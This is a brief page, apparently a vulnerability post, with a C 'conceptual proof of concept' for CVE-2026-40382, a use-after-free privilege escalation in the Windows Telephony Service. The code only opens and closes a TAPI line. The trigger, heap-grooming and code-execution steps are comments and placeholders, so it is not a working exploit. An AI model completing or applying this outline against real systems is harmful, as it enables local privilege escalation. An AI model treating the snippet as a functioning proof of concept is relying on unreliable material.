CVE-2026-40382 Windows Telephony Service 提权漏洞

#include <windows.h> #include <tapi.h> /* * Conceptual Proof of Concept for CVE-2026-40382 * Trigger: Use After Free in Windows Telephony Service * Impact: Local Privilege Escalation */ void exploit_trigger() { HLINEAPP hLineApp; DWORD dwNumDevs; DWORD dwAPIVersion = TAPI_CURRENT_VERSION; // Initialize TAPI line application if (lineInitialize(&hLineApp, GetModuleHandle(NULL), NULL, L"CVE-2026-40382", &dwNumDevs) != 0) { return; } // Step 1: Allocate the vulnerable object HLINE hLine; if (lineOpen(hLineApp, 0, &hLine, dwAPIVersion, 0, 0, LINECALLPRIVILEGE_NONE, 0, NULL) == 0) { // Step 2: Trigger the Use-After-Free condition // (This involves specific TAPI messages that cause the object to be freed) // lineClose(hLine); // Hypothetical trigger // Step 3: Reclaim memory and control execution flow // (Heap spraying or precise grooming would occur here) // Step 4: Interaction with the dangling pointer to execute code // ... } lineShutdown(hLineApp); }